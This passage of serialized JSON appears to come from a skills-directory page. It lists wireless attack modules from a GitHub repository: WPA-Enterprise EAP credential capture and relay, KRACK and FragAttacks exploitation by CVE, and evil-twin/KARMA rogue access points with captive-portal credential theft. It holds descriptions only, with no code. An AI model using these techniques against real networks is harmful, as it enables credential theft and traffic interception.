for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]